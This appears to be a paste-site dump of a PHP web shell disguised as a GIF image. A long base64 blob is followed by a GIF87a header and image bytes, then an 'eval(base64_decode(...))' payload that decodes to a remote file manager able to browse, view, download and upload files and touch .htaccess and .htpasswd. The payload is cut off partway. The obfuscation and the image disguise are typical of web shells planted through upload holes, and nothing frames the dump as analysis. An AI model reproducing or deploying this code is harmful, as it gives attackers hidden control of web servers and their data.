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'\x29\x29\x29\x3B
  13.  
  14. ",".");?>
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22. GIF87ad d ³ ÿÿÿîîîÝÝÝÌÌÌ»»»ªªª™™™ˆˆˆwwwfffUUUDDD333""" , d d ÿðÉI«½8ëÍ»ÿ`(Ždižhª®lë¾p,Ïtmßx®ï|ïÿ"ÇCøh, HS: âp0HfëÉu2 ixZ ZS·Ñè:Ò8µj(ËtÇílsSqde
  23. z|}|Srtu‡vŠ‹k]XbsU’ˆ &#65533;DšlJª«b`rs“†Vx‹JšO~Oc¯rX”Ãy?yºŽ\
  24. a`ήd¢ˆL¸ÙÊ|
  25. Þ ßqaU†åèh>BìÚCÊïo ÍÞΠS±…èèý‰=NNÅÛ–K ƒyÞæ%4‰Ò¾2P—שm]N¬§ !>‡üÿüõP¦‹ïbD%Þ<…T†yŽ_¹c2²\åÁ—Í.<´o߀ˆGÃù"£Jx6¾ìØlh~gf™ †»§P>ø ´c4rÄR:7€"ŒžÚVbh9•ªAT¬ÊW§ï!’3Øí|2ØM¦!d¾GEÊ^½ÅhÕ±#.°\rQp`dj]H‚šÔ÷Š”:&#65533;¢hg™0O
  26. 
  27. Œ¨íA Í4å©Iå"/HUø œ½¢ā90à-ï•mŒtLŒÐ™q{…œ3 ‚,ž_ÎOºb Ý8b/@@òîölÁ,žOgá ¨+®‡Ï€?,Ð(€ ÿ&©ÀÛE¤"Ü‚²ÉFUZÐ8^’Bk½i– k¸4€~6ˆÝU$Ž0òx`As¹± ƒf…H€“câ$ªÁ!+„ö•}/‚(#GR³„Ž•á–ðâZ}œ½(£ƒÞà¥:¡cá ]TŸSÎ(`h¢Ù1Œ¨”vfu֍óQ9áxa#,ú]ˆv‰9ayeÓ5\öžk8¹
  28. ŸbÆi] ±8¦U,Iž=rhŸ¢œQUV£ð½òI¶YqǝãñƏy:cUÑ€cÜBW„&ª€Ç%fô5²ª¢$'G Xà&#65533;dJJ1[– ÿtœqÚÍu3w -¡56† ¢æ5‘šP.ã¢r²ò皦ýÒIÌ‚.gDñ‰„õЊn1n;ˆ·†Xê,†ÛøÁ) ‹…ut“·ƒD’«®…zùGÀ›8°À¹Üžµ0_ÉùI,X軫4¢ %Wü iiI³mº+\õñâd°
  29. S¡²·ÙZ\‘èó…)=Õ+¼Ññ(°}µüL¨I&ƺUhWΝE“Gñªk,@GË ž¦—!ÜS9ç’âj¿%H³¯ðºaD9Ç’m^B+i$Ôø;‚Nš±¹ KäP¤±l;IH6¬W2G¼ÓÑrËÝÆÅh>”—ÿÎãÔxE­VNr@Ž!šªªq{mj9j§+êc¥ùx³#óªÌÀO¨îI{ù<FBÛ
  30. Ý‘¯¦é“±Â‹ê•owIo7>xï†'}6ÿš;ÌGiqa”ÓÞ çJ;Û&#65533;V¬}´]Ü•9ڍò|w¥+HÐ}½UžE›®ä5Þ3é+Â`·ÍMK‡ðúœr<qÅk{QÊ! I hq
  31. kÂéXU²U(ÏwáÙáb¢6º5„(5Q ª 3ìM,:J¸ËGˆ"Û&#65533;°ÑNšãì}P0ÓØðwBSÙa$ðÃJñœ“©‰EK`¿‚!çäµ/$G€ûq>ëÿÝ.Š`䑽ÊÀ;~@ Öx”n ºcãæ€b=$ACIf ø1n¬H²'Ç9F+wŒL‹¢øяçX¢W–´BF‘Ž€xÜ™Â2ª‘ˆ%…cÉ'6€ne(ÍC¢4¢£+ë@š)-Æb¡)x{1“QF2& 1Œ  et ¦°3þe&5šf)Ì0&¬!J¡)ñFÌ2&#65533;´¤äÃö1 šX­ °4…)±ÙÌS–ª!#Ñb%©–“ 0!4¯¢Æ´UÊs)g´â™%›$óÕÄ„;K‰¹YÐP!>7DKÌÉä‚PèB30Ð_Ùq(æD] #2 ©HGJÒ’šô¤(M©JWÊÒ–ºô¥0é" ;<?php eval(base64_decode("J2F1dG8nOwokY2hhcnNldCA9ICdJU08tODg1OS0xJzsKJGhvbWVkaXIgPSAnLi8nOwokZWRpdGNvbHMgPSA4MDsKJGVkaXRyb3dzID0gMjU7CiRodGFjY2VzcyA9ICcuaHRhY2Nlc3MnOwokaHRwYXNzd2QgPSAnLmh0cGFzc3dkJzsKaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsKCWFycmF5X3dhbGsoJF9HRVQsICdzdHJpcCcpOwoJYXJyYXlfd2FsaygkX1BPU1QsICdzdHJpcCcpOwoJYXJyYXlfd2FsaygkX1JFUVVFU1QsICdzdHJpcCcpOwp9CmlmIChhcnJheV9rZXlfZXhpc3RzKCdpbWFnZScsICRfR0VUKSkgewoJaGVhZGVyKCdDb250ZW50LVR5cGU6IGltYWdlL2dpZicpOwoJZGllKGdldGltYWdlKCRfR0VUWydpbWFnZSddKSk7Cn0KJGRlbGltID0gRElSRUNUT1JZX1NFUEFSQVRPUjsKaWYgKGZ1bmN0aW9uX2V4aXN0cygncGhwX3VuYW1lJykpIHsKCSR3aW4gPSAoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICdXSU4nKSA/IHRydWUgOiBmYWxzZTsKfSBlbHNlIHsKCSR3aW4gPSAoJGRlbGltID09ICdcXCcpID8gdHJ1ZSA6IGZhbHNlOwp9CmlmICghZW1wdHkoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKSkgewoJJHNjcmlwdGRpciA9IGRpcm5hbWUoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKTsKfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pKSB7Cgkkc2NyaXB0ZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOwp9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRjd2QnKSkgewoJJHNjcmlwdGRpciA9IGdldGN3ZCgpOwp9IGVsc2UgewoJJHNjcmlwdGRpciA9ICcuJzsKfQokaG9tZWRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRob21lZGlyLCAkc2NyaXB0ZGlyKTsKCiRkaXIgPSAoYXJyYXlfa2V5X2V4aXN0cygnZGlyJywgJF9SRVFVRVNUKSkgPyAkX1JFUVVFU1RbJ2RpciddIDogJGhvbWVkaXI7CgppZiAoYXJyYXlfa2V5X2V4aXN0cygnb2xkZGlyJywgJF9QT1NUKSAmJiAhcGF0aF9pc19yZWxhdGl2ZSgkX1BPU1RbJ29sZGRpciddKSkgewoJJGRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRkaXIsICRfUE9TVFsnb2xkZGlyJ10pOwp9CgokZGlyZWN0b3J5ID0gc2ltcGxpZnlfcGF0aChhZGRzbGFzaCgkZGlyKSk7CgokZmlsZXMgPSBhcnJheSgpOwokYWN0aW9uID0gJyc7CmlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfYWxsJ10pKSB7CgkkYWN0aW9uID0gJF9QT1NUWydhY3Rpb25fYWxsJ107Cglmb3IgKCRpID0gMDsgJGkgPCAkX1BPU1RbJ251bSddOyAkaSsrKSB7CgkJaWYgKGFycmF5X2tleV9leGlzdHMoImNoZWNrZWQkaSIsICRfUE9TVCkgJiYgJF9QT1NUWyJjaGVja2VkJGkiXSA9PSAndHJ1ZScpIHsKCQkJJGZpbGVzW10gPSAkX1BPU1RbImZpbGUkaSJdOwoJCX0KCX0KfSBlbHNlaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2FjdGlvbiddKSkgewoJJGFjdGlvbiA9ICRfUkVRVUVTVFsnYWN0aW9uJ107CgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUkVRVUVTVFsnZmlsZSddLCAkZGlyZWN0b3J5KTsKfSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF91cGxvYWQnXSkgJiYgIWVtcHR5KCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKSB7CgkkZmlsZXNbXSA9ICRfRklMRVNbJ3VwbG9hZCddOwoJJGFjdGlvbiA9ICd1cGxvYWQnOwp9IGVsc2VpZiAoYXJyYXlfa2V5X2V4aXN0cygnbnVtJywgJF9QT1NUKSkgewoJZm9yICgkaSA9IDA7ICRpIDwgJF9QT1NUWydudW0nXTsgJGkrKykgewoJCWlmIChhcnJheV9rZXlfZXhpc3RzKCJzdWJtaXQkaSIsICRfUE9TVCkpIGJyZWFrOwoJfQoJaWYgKCRpIDwgJF9QT1NUWydudW0nXSkgewoJCSRhY3Rpb24gPSAkX1BPU1RbImFjdGlvbiRpIl07CgkJJGZpbGVzW10gPSAkX1BPU1RbImZpbGUkaSJdOwoJfQp9CmlmIChlbXB0eSgkYWN0aW9uKSAmJiAoIWVtcHR5KCRfUE9TVFsnc3VibWl0X2NyZWF0ZSddKSB8fCAoYXJyYXlfa2V5X2V4aXN0cygnZm9jdXMnLCAkX1BPU1QpICYmICRfUE9TVFsnZm9jdXMnXSA9PSAnY3JlYXRlJykpICYmICFlbXB0eSgkX1BPU1RbJ2NyZWF0ZV9uYW1lJ10pKSB7CgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnY3JlYXRlX25hbWUnXSwgJGRpcmVjdG9yeSk7Cglzd2l0Y2ggKCRfUE9TVFsnY3JlYXRlX3R5cGUnXSkgewoJY2FzZSAnZGlyZWN0b3J5JzoKCQkkYWN0aW9uID0gJ2NyZWF0ZV9kaXJlY3RvcnknOwoJCWJyZWFrOwoJY2FzZSAnZmlsZSc6CgkJJGFjdGlvbiA9ICdjcmVhdGVfZmlsZSc7Cgl9Cn0KaWYgKHNpemVvZigkZmlsZXMpID09IDApICRhY3Rpb24gPSAnJzsgZWxzZSAkZmlsZSA9IHJlc2V0KCRmaWxlcyk7CgppZiAoJGxhbmcgPT0gJ2F1dG8nKSB7CglpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnLCAkX1NFUlZFUikgJiYgc3RybGVuKCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSA+PSAyKSB7CgkJJGxhbmcgPSBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpOwoJfSBlbHNlIHsKCQkkbGFuZyA9ICdlbic7Cgl9Cn0KJHdvcmRzID0gZ2V0d29yZHMoJGxhbmcpOwokY29scyA9ICgkd2luKSA/IDQgOiA3OwppZiAoIWlzc2V0KCRkaXJwZXJtaXNzaW9uKSkgewoJJGRpcnBlcm1pc3Npb24gPSAoZnVuY3Rpb25fZXhpc3RzKCd1bWFzaycpKSA/ICgwNzc3ICYgfnVtYXNrKCkpIDogMDc1NTsKfQppZiAoIWlzc2V0KCRmaWxlcGVybWlzc2lvbikpIHsKCSRmaWxlcGVybWlzc2lvbiA9IChmdW5jdGlvbl9leGlzdHMoJ3VtYXNrJykpID8gKDA2NjYgJiB+dW1hc2soKSkgOiAwNjQ0Owp9CmlmICghZW1wdHkoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pKSB7Cgkkc2VsZiA9IGh0bWwoYmFzZW5hbWUoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pKTsKfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpIHsKCSRzZWxmID0gaHRtbChiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpOwp9IGVsc2UgewoJJHNlbGYgPSAnJzsKfQppZiAoIWVtcHR5KCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSkpIHsKCWlmIChzdHJ0b2xvd2VyKHN1YnN0cigkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10sIDAsIDYpKSA9PSAnYXBhY2hlJykgewoJCSRhcGFjaGUgPSB0cnVlOwoJfSBlbHNlIHsKCQkkYXBhY2hlID0gZmFsc2U7Cgl9Cn0gZWxzZSB7CgkkYXBhY2hlID0gdHJ1ZTsKfQpzd2l0Y2ggKCRhY3Rpb24pIHsKY2FzZSAndmlldyc6CglpZiAoaXNfc2NyaXB0KCRmaWxlKSkgewoJCW9iX3N0YXJ0KCk7CgkJaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOwoJCSRzcmMgPSBlcmVnX3JlcGxhY2UoJzxmb250IGNvbG9yPSIoW14iXSopIj4nLCAnPHNwYW4gc3R5bGU9ImNvbG9yOiBcMSI+Jywgb2JfZ2V0X2NvbnRlbnRzKCkpOwoJCSRzcmMgPSBzdHJfcmVwbGFjZShhcnJheSgnPC9mb250PicsICJcciIsICJcbiIpLCBhcnJheSgnPC9zcGFuPicsICcnLCAnJyksICRzcmMpOwoJCW9iX2VuZF9jbGVhbigpOwoJCWh0bWxfaGVhZGVyKCk7CgkJZWNobyAnPGgyIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBtYXJnaW4tYm90dG9tOiAwIj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9oMj4KPGhyIC8+Cjx0YWJsZT4KPHRyPgo8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyB2ZXJ0aWNhbC1hbGlnbjogdG9wOyBjb2xvcjogZ3JheTsgcGFkZGluZy1yaWdodDogM3B0OyBib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBncmF5Ij4KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+PGNvZGU+JzsKCQlmb3IgKCRpID0gMTsgJGkgPD0gc2l6ZW9mKGZpbGUoJGZpbGUpKTsgJGkrKykgZWNobyAiJGlcbiI7CgkJZWNobyAnPC9jb2RlPjwvcHJlPgo8L3RkPgo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7IHBhZGRpbmctbGVmdDogM3B0Ij4KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+JyAuICRzcmMgLiAnPC9wcmU+CjwvdGQ+CjwvdHI+CjwvdGFibGU+Cic7CgkJaHRtbF9mb290ZXIoKTsKCX0gZWxzZSB7CgkJaGVhZGVyKCdDb250ZW50LVR5cGU6ICcgLiBnZXRtaW1ldHlwZSgkZmlsZSkpOwoJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSk7CgkJcmVhZGZpbGUoJGZpbGUpOwoJfQoJYnJlYWs7CmNhc2UgJ2Rvd25sb2FkJzoKCWhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsKCWhlYWRlcignRXhwaXJlczogMCcpOwoJaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAnKTsKCWhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZ2V0bWltZXR5cGUoJGZpbGUpKTsKCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSAuICc7Jyk7CgloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsKCXJlYWRmaWxlKCRmaWxlKTsKCWJyZWFrOwpjYXNlICd1cGxvYWQnOgoJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkZmlsZVsnbmFtZSddLCAkZGlyZWN0b3J5KTsKCWlmIChAZmlsZV9leGlzdHMoJGRlc3QpKSB7CgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRkZXN0KSk7Cgl9IGVsc2VpZiA